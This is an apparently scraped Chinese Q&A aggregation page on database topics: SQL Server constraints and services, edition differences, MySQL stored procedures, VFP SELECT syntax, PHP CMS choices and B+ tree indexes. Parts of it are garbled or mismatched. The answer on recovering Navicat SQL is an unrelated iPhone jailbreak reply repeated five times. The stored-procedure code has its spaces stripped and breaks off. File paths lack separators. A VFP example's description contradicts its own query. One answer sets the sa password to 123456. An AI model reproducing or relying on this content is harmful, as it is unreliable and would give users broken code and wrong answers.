alter table 教材 add constraint FK_教材_学科 foreign key(所属学科) references 学科(学科编号) 为“类型”列创建名为chk_LX的check约束,限制其值只能为“新书”、或“二手书”。 alter table 教材 add constraint chk_LX check(类型 in ("新书","二手书")) 为教材表的“类型”列增加默认值“新书”。 alter table 教材 add default "新书" for 类型 删除XSDA1表里的Sbirth列 alter table XSDA1 drop column Sbirth 主键、外键、唯一值、默认值、check约束都是按约束constraint删除 删除教材表的外键。 alter table 教材 drop FK__教材__所属学科__66603565 删除教材表的约束。 alter table 教材 drop constraint chk_date 可以用一个alter table xscj drop constraint... 语句删除多个外键: alter table xscj drop [constraint] fk1, fk2 (1)一个数据表只能定义一个PRIMARY KEY约束,但一个表中可根据需要对不同的列定义若干个UNIQUE约束。 (2)PRIMARY KEY字段的值不允许为NULL,而UNIQUE字段的值可取NULL。 (3)一般创建PRIMARY KEY约束时,系统会自动产生索引,索引的默认类型为簇索引。创建UNIQUE约束时,系统会自动产生一个UNIQUE索引,索引的默认类型为非簇索引。 先删除原来的外键 alter table xscj drop [constraint] FK_kcxx_课程编号 再增加新的带CASCADE的外键 alter table xscj add constraint FK_kcxx_课程编号 foreign key(课程编号) references kcxx(课程编号) on update cascade 先删除原来的外键 alter table xscj drop [constraint] FK_kcxx_课程编号 再增加新的带CASCADE的外键 alter table xscj add constraint FK_kcxx_课程编号 foreign key(课程编号) references kcxx(课程编号) on delete cascade

Access数据库与SQL Sever 数据库区别很大吗?

Access:单用户,数据类型少,安全性差。如何权限分配不当,可能不支持写入!相对而言SQL Server:多用户,数据类型多样,安全性高些!如果教学,使用Access;开发就使用SQL如果数据量不大,不要太高的安全性,选择Access.

sql2005数据库服务器怎么开启

使用数据库时开启服务是需要的,我给大家具体介绍几种方式开启SQL Sever 服务。这几种我都用图文的形式用三个开启方式给你展示,对于不会开启服务的朋友可以学习下,这些前提是你的电脑安装了SQL数据库,否者无法使用数据库。http://jingyan.baidu.com/article/f3ad7d0fd2d03809c3345b9a.html

微软SQL Server 2008和微软SQL Sever 2012中文标准版有什么区别

1.2012比08功能增强很多,赠家了一些函数,修改了一些处理机制 AlwaysOn - 这个功能将数据库的镜像提到了一个新的高度。用户可以针对一组数据库做灾难恢复而不是一个单独的数据库。2. Windows Server Core 支持 - Windows Server COre 是命令行界面的 Windows,使用 DOS 和 PowerShell 来做用户交互。它的资源占用更少,更安全,支持 SQL Server 2012。3. Columnstore 索引 - 这是 SQL Server 独有的功能。它们是为数据仓库查询设计的只读索引。数据被组织成扁平化的压缩形式存储,极大的减少了 I/O 和内存使用。4. 自定义服务器权限 - DBA 可以创建数据库的权限,但不能创建服务器的权限。比如说,DBA想要一个开发组拥有某台服务器上所有数据库的读写权限,他必须手动的完成这个操作。但是 SQL Server 2012 支持针对服务器的权限设置。5. 增强的审计功能 - 现在所有的 SQL Server 版本都支持审计。用户可以自定义审计规则,记录一些自定义的时间和日志。6. BI 语义模型 - 这个功能是用来替代“Analysis Services Unified Dimentional Model”的。这是一种支持 SQL Server 所有 BI 体验的混合数据模型。7. Sequence Objects - 用 Oracle 的人一直想要这个功能。一个序列(sequence)就是根据触发器的自增值。SQL Serve 有一个类似的功能,identity columns,但是现在用对象实现了。8. 增强的 PowerShell 支持 - 所有的 Windows 和 SQL Server 管理员都应该认真的学习 PowderShell 的技能。微软正在大力开发服务器端产品对 PowerShell 的支持。9. 分布式回放(Distributed Replay) - 这个功能类似 Oracle 的 Real Application Testing 功能。不同的是 SQL Server 企业版自带了这个功能,而用 Oracle 的话,你还得额外购买这个功能。这个功能可以让你记录生产环境的工作状况,然后在另外一个环境重现这些工作状况。10. PowerView - 这是一个强大的自主 BI 工具,可以让用户创建 BI 报告。11. SQL Azure 增强 - 这和 SQL Server 2012 没有直接关系,但是微软确实对 SQL Azure 做了一个关键改进,例如 Reporint Service,备份到 Windows Azure 。Azure 数据库的上限提高到了150G。12. 大数据支持 - 这是最重要的一点,虽然放在了最后。去年的 PASS(Professional Association for SQL Server)会议,微软宣布了与 Hadoop 的提供商 Cloudera 的合作。一是提供 Linux 版本的 SQL Server ODBC 驱动。主要的合作内容是微软开发 Hadoop 的连接器,也就是 SQL Server 也跨入了 NoSQL 领域。

sqlsever文件路径格式

给你举两个例子吧,1、sqlserver数据库MDF路径为C:ProgramFilesMicrosoftSQLServerMSSQL.1MSSQLDATA数据库名.mdf。2、sqlserver数据库ldf路径C:ProgramFilesMicrosoftSQLServerMSSQL.1MSSQLDATA数据库名.ldf。

安装SQL Sever 2000好后,服务管理器中“服务器”,和‘服务’是空白!求解?

原因:没有填写自己的服务器名称。1、右击计算机-管理,弹出下图。2、根据需要,选择数据库引擎方式。3、点开SQL SERVER网络配置下的小三角形,选择MSSQLSERVER的协议。4、右击选择TCP/IP下的属性,如图5、此处可以设置自己电脑的IP,可以设置".",也可以设置为127.0.0.1,或者local等等。此处可根据自己的需求设置。6、然后填入我们刚设置好的名称,此处用“.”来作为示例。7、使用我们设置好的名称登陆成功了,说明已经成功。

如何查看我的sql sever服务器的用户名、密码??

用户名、密码?用户名可以看得到,密码没办法吧?

启动sqlserver数据库必须开启哪个服务

计算机管理开启服务(一)1、找到SQL Sever服务。在计算机管理框里找到Sql sever配置管理器找到Sql Sever服务打开服务,这里有几种服务,这些服务都是自己安装数据库时装上的。2、打开启动SQL Sever服务。右键点击服务,这里要看清楚什么才是服务,小技巧:服务器的图标是一个库的样式,启动它就可以了。SQL文件目录启动服务(二)1、找到SQL安装目录。点击【开始】--【所有文件】--【Microsoft SQL Server 2008】--【配置工具】--【SQL Server 配置管理器】。2、在Sql Sever配置管理框开启服务。下面是数据库服务配置管理框,找到我们需要使用的数据库服务,右键开启它,这样就可以使用了。DOS命令开启服务(三)1、打开DOS命令框。点击【开始】--【运行】--输入:CMD 命令。2、在命令框输入字符命令。我们成功打开命令框后,在命令框里输入:net start mssqlserver 启动Sql服务器,同理net stop mssqlserver 是停止服务器。3、恭喜你,成功开启SQL服务器。4、检验是否开启服务。安装上面方法一或者二都可以,下面是我的查看的结果:成功开启服务,如果想关闭服务,使用一行代码就可以了。温馨提示下,DOS命令开启服务有很多容易错处点,这里面还有很多知识,更多的可以自己去学习下。5、关闭数据库服务。使用完成后记得关闭服务,很占内存的。关闭方式命令:net stop mssqlserver。

安装SQL sever时 提示“试图访问许可证验证文件时出错,请重新安装SQL sever来更正此文件”

解决了吗?我正遇到这个问题。

如何在CMD在开启SQL Sever服务

打开开始--运行 输入 net start 服务名 回车 即可启动服务

如何查看我的sql sever服务器的用户名、密码??

1、首先需要知道SQL Server默认用户名是sa,密码是安装的时候设置的密码,连接服务器的时候选择SQL Server身份验证,输入用户名和密码就完成了。2、如果忘记了安装设置的默认密码,选择Windows身份验证,然后进去修改默认用户的密码就可以了。3、进去之后,点击安全性->登录名->sa,如下图所示。4、然后鼠标右键sa用户,选择属性,如下图所示。5、进去之后,输入要设置的密码,这里设置123456,点击确定,就成功设置了默认用户的密码。

sql sever中照片用什么数据类型?

如何是配合其他使用例如 ASP.NET JSP 或者其他什么的 用varcher存储图片的名称就可以了 用程序来找路径~如果单纯就是数据库存储数据 似乎数据库提供图片类型 就是不知道怎么用 也没用过 就不太清楚了

navicat中整页sql语句变成nul值怎么恢复?

直接恢复固件,重新越狱。而且不建议做太多美化没,都是些表面工作。直接恢复固件,重新越狱。而且不建议做太多美化没,都是些表面工作。直接恢复固件,重新越狱。而且不建议做太多美化没,都是些表面工作。直接恢复固件,重新越狱。而且不建议做太多美化没,都是些表面工作。直接恢复固件,重新越狱。而且不建议做太多美化没,都是些表面工作。

PHPMySql

国内目前流行的免费的phpcms比较备注:免费CMS的PHP程序下载都可以在他们的官方网站上下载(有一些不是开源的,但有免费版), 如果您对cms的概量还不很理解,请看这里: 什么是CMS?网站内容管理系统,即 Content Management System ,英文缩写是CMS。网站内容管理系统具有许多基于模板的优秀设计,可以加快网站开发的速度和减少开发的成本。网站内容管理系统的功能并不只限于文本处理,它也可以处理图片、Flash动画、声像流、图像甚至电子邮件档案。网站内容管理系统其实是一个很广泛的称呼,从一般的博客程序,新闻发布程序,到综合性的网站管理程序都可以被称为内容管理系统。国内最常用的PHPMySql免费开源CMS系统大全1. DEDE -这是一款国内开源的cms,作者是一个个人,能做出如此功能的cms,是相当不错的。2007版功能十分强大,希望能改善之前数据量一大,更新静态页就很慢的缺点。因为开源,有较多的玩家和拥护者。非常适合有一定编程基础的站长。官方:2. phpcms-一个综合的网站管理系统,由PHPMYSQL构架全站生成html,能够快速高效地应用于LINUX和WINDOWS服务器平台,是目前中国LINUX环境下最佳的网站管理应用解决方案之一。据传被酷6收购。官方:3. 帝国网站管理系统-Ecms全称为”帝国网站管理系统”,英文译为”Empire CMS”简称”Ecms”.Ecms是基于B/S结构,且功能强大而易用的网站管理系统.是一个经过完善设计的适用于Linux/windows/Unix等环境下高效的网站解决方案。官方:4. php168 -PHP168整站系统,代码全部开源,可方便的进行二次开发,功能模块可以自由安装与删除,个人用户免费使用。系统频道模块很多,适合作个人门户网站。较多页面没有生成静态页。如果你想建站,就义无反顾的选择它吧!官方:5. HBcms :一个以PHP官方推荐的PEARSMARTY技术架构的cms,比较容易上手,适合没经验的新人做网站。没有下载,分类信息等模块,适合做文章为主的网站。全站生成静态页,默认附带了几套模板,可以方便的更换模板。个人企业都免费,无需授权。官方:6. SupSite-一款将论坛资源自动转换成门户网站的php程序系统,使用SupeSite,并利用你现有的论坛,你将自动拥有一个功能完备的,资源丰富的站点系统;由论坛变成网站,一切都是自动完成,你不需要任何干涉。让你轻轻松松实现建立网站的目的。 官方:7. 曼波-MAMBO,一个国外的CMS系统,功能很强大,支持添加很多组件,模块;拥有丰富的模板.Mambo是一个网站内容管理系统(CMS),它是网站的后台引擎,使网站内容的创建、管理和共享更加简易。Mambo十分强大,但官方网站也承认,它不是典型的“门户”网站解决方案。官方:8. Joomla! 是一套在国外相当知名的内容管理系统,2007年开源cms第一名!Joomla!是使用PHP语言加上MySQL数据库所开发的软件系统,可以在Linux、Windows、MacOSX等各种不同的平台上执行。操作接口除了美观之外,也花了很多心力在设计这些接口的简易操作性。但初次使用者,需要花一点时间学习一下操作的方式,才能运用自如。。官方:9. Drupal-Drupal是一个强大的软件,它可以让个人或社区使用者很容易地发表、管理并组织一个网站里大量且多样的内容。已经有许多个人和组织采用Drupal来建立各种不同的网站。Drupal是一套采用GPL授权的开放源码软件,是由数以千计的使用者和开发人员所共同维护和开发的。官方:10. WordPress - 是一款基于PHP和MySQL的Blog软件,但是它也可以当作简单的cms系统来用。通过它可以快速而简便的搭建属于你自己的Blog(网站)平台。简而言之,这个Wordpress就相当于咱们用来搭建论坛的那些程序,比如用在自留地上的雷傲,还有别的比如PHPBB等等Wordpress因为它的安装简单和可扩展性好几乎已经成了独立搭建Blog平台的第一选择。Wordpress还有一个MU就是多用户的版本,支持多用户的Blog系统。官方:说到免费的PHP CMS系统,再看看目前国外的CMS状况国外的cms比较发现:通过Alexa统计的几个主要的CMS(Content Management System)工具的最近三个月网站日浏览的统计,这份统计包括Drupal, Joomla, Mambo, Xoops 和 Typo3,很明显可以看出曾经的CMS老大Xoops已经式微,Mambo在变故之后半死不活,Typo3一直都名声平平(不知道Typo3与Typo是什么关系,Typo是基于Ruby on Rails(ROR)的blog系统,有着非常kool的ajax应用,正准备搭一个Typo看看)而相比较而言,Joomla与Drupal却变得越来越 popular,四月中的那次飞跃估计与Drupal的最终推出关系比较大。当然这只是对于各个CMS的流行程度的一个估测值,会有这样那样的bias,譬如可能因为是Drupal的安装使用过于复杂所以用户才不断的到Drupal.org上去问问题,导致Drupal的网站页面访问上升,而Xoops因为发展历史很长,并且使用简单,所以用户在下载安装之后不用经常的去Xoops的网站寻求帮助(呵呵,GRE逻辑题)。但是不管怎样这份Alexa的Pageviews的统计还是能给我们指一指CMS 的流行风向。点这里查看CMS整站系统介绍如何选择 最优秀的CMS,最好的CMS现在每个CMS功能介绍上都会说自己的产品如何强大,比如说什么模板体系如何好,缓存技术如何高明,刷新效率,负载容量如何强,操作如何如何简单,容易上手,跟第三方无缝结合,还有功能模块的如何丰富,生成静态发布,信息采集 吹牛谁都会,大家都会写,关键是客户如何认为,不用功能很多。另外,CMS系统SEO搜索优化也是比较重要的因素,适用得当,可以给你带来很多搜索引擎的流量。 一句话,适合自己的就是最好的。

MS SQL 2005字段改短,将截断二进制数据错误

URL中是否有汉字?

mysql中的存储过程能返回数组么

mysql中要获得存储过程的返回值,可以增加一个out参数,用来返回。mysql中存储过程的例子:CREATEPROCEDUREaddvoucher(INuseridINT,INvoucheridINT,OUT resultINT)BEGINSELECT@endate_a:=endate,@batch_a:=batch,@c_count_a:=c_count,@isdead_a:=isdeadFROMt_voucherWHEREid=voucherid;SETautocommit=0;IFEXISTS(SELECT*FROMt_user_vouchertuv,t_vouchertvWHEREtv.id=tuv.voucheridANDtv.batch=@batch_a)THENSETresult=1;--已存在SELECTresult;ELSEIF@c_count_a>0THENIF(TO_DAYS(@endate_a)-TO_DAYS(NOW()))>0THENIF@isdead_a=1THENINSERTINTOt_user_voucher(userid,voucherid,isdead)VALUES(userid,voucherid,1);UPDATEt_voucherSETc_count=c_count-1whereid=voucherid;SETresult=0;--成功END;下面是调用并返回结果:

VF中SQl语句中的select语句如何使用……

SQL语法SQL给出了简单而又丰富的查询语句形式,SQL的查询命令也称作SELECT命令,它的基本形式由SELECT-FROM-WHERE查询块组成,多个查询块可以嵌套执行。格式: SELECT [ALL|DISTINCT][ TOP〈表达式〉 ] [〈别名〉] 〈Select表达式〉 [AS 〈列名〉 ][, [ 〈别名〉] 〈Select表达式〉 [AS 〈列名〉 ]…] FORM[〈数据库名〉 !] 〈表名〉 [[AS]Local_Alias] [[INNER | LEFT [OUTER] | RIGHT [OUTER] | FULL [OUTER] JOIN[〈数据库名〉!] 〈表名〉 [[AS]Local_Alias][ON〈联接条件〉]] [INTO 〈查询结果〉 |TO FILE 〈文件名〉 [ADDITIVE] | TO PRINTER [PROMPT] | TO SCREEN] [PREFERENCE PreferenceName][NOCONSOLE][PLAIN][NOWAIT] [WHERE 〈联接条件1〉 [AND 〈联接条件2〉…][AND | OR 〈筛选条件〉…]] [GROUP BY 〈组表达式〉 ][, 〈组表达式〉 …]] [HAVING ]〈筛选条件〉 ] [UNION [ALL] 〈SELECT命令〉 ] [ORDER BY 〈关键字表达式〉 [ASC |DESC] [, 〈关键字表达式〉 [ASC |DESC]…]]说明:SELECT-SQL命令的格式包括三个基本子句:SELECT子句、FROM子句、WHERE子句,还包括操作子句:ORDER子句、GROUP子句、UNION子句以及其他一些选项。1.SELECT子句SELECT子句用来指定查询结果中的数据。其中:ALL选项:表示选出的记录中包括重复记录,这时缺省值;DISTINCT则表示选出的记录中不包括重复记录。TOP〈表达式〉选项:表示在符合条件的记录中,选取指定数量或百分比(〈表达式〉)记录。[〈别名〉]〈Select表达式〉[AS〈列名〉]选项中的别名是字段所在的表名;〈Select表达式〉,可以是字段名或字段表达式;〈列名〉用于指定输出时使用的列标题,可以不同于字段名。〈Select表达式〉用一个*号来表示时,指定所有的字段。2.FROM子句用于指定查询的表与联接类型。其中:JOIN关键字用于联接其左右两个〈表名〉所指定的表。INNER | LEFT[OUTER] | RIGHT[OUTER] | FULL[OUTER]选项,指定两表联接时的联接类型,联接类型有4种,如表13.2所示。其中的OUTER选项,表示外部联接,即允许满足联接条件的记录,又允许不满足联接条件的记录。若省略OUTER选项,效果不变。表13.2 联接类型——————————————————————————————————联接类型 意义————————————————————————??Inner Join(内部联接) 只有满足联接条件的记录包含在结果中Left Outer Join(左联接) 左表某记录与右表所有记录比较字段值,若有满足联接条件的,则产生一个真实记录;若都有满足,则产生一个含.NULL值的记录直到右表所有记录都比较完Full Jion(完全联接) 先按右联接比较字段值,再按左联接比较字段值。不列入重复记录—————————————————————————————————————ON选项:用于指定联接条件。INTO与TO选项:用于指定查询结果的输出去向,默认查询结果显示在浏览窗口中。INTO选项中的〈查询结果〉有3种,如表13.3所示。表13.3 查询结果———————————————————— 目标 输出形式————————————————————— ARRAY〈数组〉 查询结果输出到数组 CURSOR〈临时表〉 查询结果输出到临时表 TABLE | DBF〈表名〉 查询结果输出到表—————————————————————TO FILE选项:表示输出到指定的文本文件,并取代原文件内容。ADDITIVE选项:表示只添加新数据,不清除原文件的内容。TO PRINTER选项:表示输出到打印机。PROMPT选项:表示打印前先显示打印确认框。TO SCREEN选项:表示输出到屏幕。PLAIN选项:表示输出时省略字段名。NOWAIT选项:表示显示浏览窗口后程序继续往下执行。3.WHERE子句用来指定查询的条件。其中的〈联接条件〉指定一个字段,该字段连接FROM子句中的表。如果查询中包含不止一个表,就应该为第一个表后的每一个表指定连接条件。4.其他子句和选项GROUP BY子句:对记录按〈组表达式〉值分组,常用于分组统计。HAVING子句:当含有GROUP BY子句时,HAVING子句可用作记录查询的限制条件;无GROUP BY 子句时,HAVING子句的作用如同WHERE子句。UNION子句:可以用UNION子句嵌入另一个SELECT-SQL命令,使这两个命令的查询结果合并输,但输出字段的类型和宽度必须一致。UNION子句默认组合结果中排除重复行,使用ALL,则允许包含重复行。ORDER BY子句:指定查询结查中记录按〈关键字表达式〉排序,默认升序。选项ASC表示升序,DESE表示降序。SELECT查询命令的使用非常灵活,用它可以构造各种各样的查询。本章将通过大量的实例来介绍SELECT命令的使用方法。13.2.2 简单查询简单查询只含有基本子句,可有简单的查询条件。【13.1】在zgda表中,检索所有字段。 SELECT * FROM zgda13.2.2 简单查询【13.2】在zggz表中,检索实发工资大于2000元的记录。 SELECT 编号,姓名,实发工资 FROM zggz WHERE 实发工资>200013.2.2 简单查询【13.3】在zgda表中,检索所有职称名称。 SELECT DISTINCT 职称 FROM zgda【13.4】在zgda表中,检索职称是助教的记录。 SELECT 编号,姓名,职称 FROM zgda WHERE 职称="助教"13.2.2 简单查询【13.5】在zggz表中,检索实发工资小于1000大于1800元的记录。命令执行结果如图13.5所示。 SELECT 编号,姓名,实发工资 FROM zggz WHERE 实发工资>1000 AND 实发工资<1800

mysql索引的数据结构,为什么用b+树

1、MySQL支持的索引结构有四种:B+树,R树,HASH,FULLTEXT。B树是一种多叉的AVL树。B-Tree减少了AVL数的高度,增加了每个节点的KEY数量。2、其余节点用来索引,而B-树是每个索引节点都会有Data域。这就决定了B+树更适合用来存储外部数据,也就是所谓的磁盘数据。3、mysql的数据结构用的是b+而不是b红黑树等数据结构也可以用来实现索引,但是文件系统及数据库系统普遍采用B-/+Tree作为索引结构,这一节将结合计算机组成原理相关知识讨论B-/+Tree作为索引的理论基础。
 首页 上一页  1 2 3 4 5 6 7  下一页  尾页